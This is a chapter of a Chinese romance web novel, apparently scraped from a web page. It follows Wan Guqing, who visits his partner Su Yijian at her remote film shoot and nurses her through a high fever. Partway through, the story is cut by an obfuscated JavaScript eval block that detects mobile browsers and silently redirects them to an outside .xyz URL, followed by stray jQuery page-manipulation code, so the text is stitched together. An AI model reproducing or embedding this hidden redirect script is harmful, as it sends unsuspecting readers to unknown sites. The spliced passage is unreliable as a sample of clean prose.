万古青不太高兴,整个市政厅都笼罩在低气压中。这种情况已经持续了两个月。
准确地来说,是从苏易简离开蒲宁市的那一天开始的。
表白过后,他们过了好一段腻歪的日子。本想新年也在一起过,但被苏天昂拦截,苏易简只好返回苏家见家人。
她回来后,万古青化身被抛弃的流浪猫,抱着她委委屈屈地哭诉了很久。
“诶呦。”苏易简无奈地笑着,抱着大型挂件安慰了好一阵,“这才多久呀……等我去拍戏了,你该怎么办?”
“没有怎么办。”万古青瘪着嘴回应,“我要跟你到天涯海角。”
此次闹剧以万古青被苏易简揪耳朵教育结束。
订好机票后,万古青更是直接黏在了苏易简身上,每天睁眼就是要抱抱要亲亲,用那张得天独厚的脸凑到苏易简跟前装可怜,但又不明说。
苏易简看不懂,选择直接亲。
万古青的装可怜计策除了带给他发红发肿的嘴角外,没有任何实质性用途。
苏易简还是走了。甚至在机场同万古青道别后,她只扭了一回头!
万古青的心情跌入低谷。他阴着脸返回市政厅,又回到了过去一人独行的状态。
家里没有爱人,也没有另一个家人。恋爱几个月,成功谈成了异地恋。
万古青高估自己的承受能力了。尽管早已做好心理准备,下定决心要放她去追寻自己热爱的事物,但当事情真正发生时,他还是……怅然若失。
起初还好,苏易简会发消息和他分享自己到了哪里、看到了什么风景、人员招募有了什么进展。但后面,她逐渐忙了起来,争分夺秒地和剧组成员交流,回到租的房子后倒头就睡,没时间接电话发消息了。
想起来的时候,她会在睁眼第一时间给他发早安。忙到晕头转向时,则是连早安都没有了。
两人的聊天界面,万古青的消息占了大多数。但苏易简连认真阅读的时间都没有。
失策了。万古青颓败地想,应该在她离开之前就把婚礼办了的。
现在,他们还有时间谈婚论嫁吗?
他还好。没时间的主要是准新娘。
苏易简重新进入他的视线的时间不长,可已足够他构建新的生活模式。从中抽离出来……需要很长很长时间。
被爱人冷落的滋味前所未有的难受。万古青一时说不清,这和当初简易的离开相比,哪个更痛苦。
他抽时间去了趟私人定制珠宝会所,和设计师商量了一下款式,订购了一枚蓝钻,想当作订婚戒指。
订婚宴要办吗?
万古青的仪式感很强,想把人生每一场重要的节点都过得轰轰烈烈,留下深刻印象。但苏易简比起仪式,更注重彼此的心意。
不管怎么说,这么大的事情,当然要见面好好聊。
万古青心安理得地为自己找到了一个去见她的理由,兴致勃勃地提前将几天的工作搞定。据说,在办公室里加班时,他的心情久违地愉悦起来。
另一端,忙到脚不沾地的苏易简根本没意识到有一场惊喜在等着她。
小剧组刚刚成型,选定的大部分都是新手。虽说新手未经社会毒打潜力大,但同样的也需要度过漫长的磨合期,稍有不慎就会出问题。
导演组,摄影组,制片组,服化组,灯光组,录音组……每一组都由老人拉扯新人的组合构成。苏易简作为总导演,在每一处奔波检查,很少有闲下来的时候。
她这样安慰自己——每个人都需要打磨。等她熟悉每个人的作风了,就能放手让他们自己去做了。
很不幸,在苏易简彻底熟悉剧组的每一个成员之前,她先病倒了。
失算了。她留下来后,拥有了简易经年累月锻炼形成的强健体魄,但自己却忽略了训练,没再去过办了终生会员的健身房,加上很少休息……这就是在消磨自己的身体。
苏易简眯着眼睛对着灯光看温度计上的数字。
四十一度。哈哈。
她收起温度计,盖紧被子。大脑沉重到好像灌满了水,眼前一片模糊,思维被盖上一层水雾,摸不清楚,但又无法控制自己不去想。
取景地、演员都选好了,剧本也请了原作者跟拍,以便根据现实条件及时增补。很快,就可以尝试拍摄第一幕了。
怎么偏偏在这个时候病倒了……好想看看第一场的效果啊……
人在生病的时候总会特别脆弱。苏易简思维混沌,一会儿后悔偷懒没去锻炼,一会儿想着哪里哪里怎么做效果会更好,一会儿又为看不到第一场戏的拍摄现场而委屈。
恍恍惚惚的,她听到门外有一男一女两个人在对话。
“就是这里?”
“对。为了方便沟通交流,导演和我们同吃同住。”
“我知道了。”
啊,门开了。
苏易简艰难地抬起眼皮,想看清来的人是谁,无奈眼前只有一团模糊的色块。
好比加了八百重模糊滤镜的摄像头。
“怎么把自己搞成这样?”
看到苏易简这副虚弱疲惫的模样,万古青气笑了。他瞥见床头的体温计,快走几步拿起,问:“测过体温了吗?”
他进来得很及时,体温计上还有使用过留下的痕迹。与水银柱平行的数字直观明了地告知了病人现在的状况。
万古青沉默几秒,用手背和额头分别贴了贴苏易简的脑门,叹了口气。
“我可从没见过你生病。”
简易一年四季都活蹦乱跳,只有她照顾他生病的份。她最多出任务受伤需要静养,真没烧成这样过。
苏易简缓慢地眨了眨眼,迷离的目光落在万古青的脸上,靠直觉和轮廓猜出了他的身份。她伸出手,软软地捏了捏他的脸,发出几声闷哼。
这是在……撒娇吗?
苏易简在这方面很矜持,几乎没对万古青撒娇过。闹脾气撒泼打滚的一直是他。
万古青用被子裹住她,直接连人带被打横抱起。
“我们换个地方。”
为了武打片的意境,苏易简挑选了一片偏僻的山坳。这里山清水秀,空气条件挺好,但住宿条件就不行了。
经过改造,勉强到了能住得舒适的地步,但很多方面都不太方便。
万古青和米菈说了,他要带苏易简去城里找个酒店住,养好病再送回来。
病得迷糊的苏易简自然没有力气反抗。
万古青出手阔绰,订的酒店的价位直接上万。他担心苏易简落人口舌,自作主张请全剧组的人吃饭,一口气放了三天假。
没有打工人能抵抗放假的诱惑!米菈也不能例外!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889677|165435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
米菈拍着胸脯保证会担起调解剧组内口舌风波的责任,让万古青放心带着苏易简去养病。
苏易简在剧组里的形象就是个普普通通的追梦人,贷款追梦放手一搏。要是千金小姐的身份暴露了,难免会有人对现状不满。
穷人追梦值得钦佩,富人装穷追梦就纯纯是来体验生活折腾平民百姓了。
毕竟,连万古青都无法理解,为什么苏易简要放着现成的资源和人脉不用,非要尝试挑战用最低限度的资金和消耗搞定自己的首作。
这是在折磨自己,也是在欺瞒同事。
看到苏易简病成这副模样,万古青想,他有必要好好和她谈谈了。
喝药,擦身子,喂饭……万古青用最正经的表情干着叫人脸红心跳的事。这样说不太合适,但他确实很享受苏易简依赖他的时光。
苏易简认出了是他在照顾自己,摆烂摆得彻底,偶尔会蹦出一两句任性的话——
“我要去剧组。我要看他们拍戏。”
万古青态度强硬地将人按回到床上,用湿毛巾盖住额头,说道:“病好了再去。你现在回去,可能会导致传染。”
苏易简哼哼了几声,睡前还不忘警告他:“不准趁我睡着的时候亲我。会传染的。”
当天晚上,苏易简便退烧了。第二天,她已经恢复了端碗自己喝药的力气,不过身子还是软绵绵的,像踩在棉花上。
第四天,在剧组放假回来重新开拍之际,苏易简和万古青一起回到了拍摄现场。
开机十分顺利。苏易简选取了几位有习武经验的演员,要求不用替身真枪实干。他们身上有一股正气,演技和颜值虽略有欠缺,但吃苦耐劳的精神是真的。
除了打戏较多的几位主演,其余演员都是从专门的演艺专业挑选出来的,有的甚至还没毕业。
万古青的到来挤占了米菈身为导演助理的位置,端茶倒水比谁都勤。为了配合苏易简,他特地挑选了一身平平无奇的男大装扮,完美混入一众大学生打工人中。
只要没人注意远在边境的蒲宁市的新闻,就不会有人能认出他来。
当然,万古青不可能待太久。
两人基本形影不离。苏易简忙碌的时候,万古青就站在不远处盯着她,眼底颇有几分哀怨,像盯着偷腥丈夫的怨妇,浑身散发着幽怨气质。
换身装扮,直接能演美艳男鬼了。
短短几天,就出现了诸多“导演包养潜规则小狼狗”的传闻,越传越离谱。
听到传闻的苏易简忍不住咂舌——当真是三人成虎啊。在三十多人的剧组里,也能传谣言传得这么起劲。
最清晰的、有前因后果的传闻由米菈转告。
“有人说,万先生家境贫寒,跟着导演干活是想逐梦演艺圈。但导演看上了他,强迫他委身,以此换取电影里的一个角色。”
很好。有头有尾,有因有果,要狗血有狗血,要脑子有狗血,放在编剧界是被用烂的套路。
万古青趴在苏易简的肩头,饶有兴致地勾起唇角,配合地将下巴递进她的手心,舒服地眯起眼:“感觉……还不错呢?唔!”
苏易简毫不客气地探了根手指进去,用力搅乱他。
“亲爱的……嗯……我错了……”
这诱人的声音要是被别人听去了,指不定会传出什么新鲜事儿呢。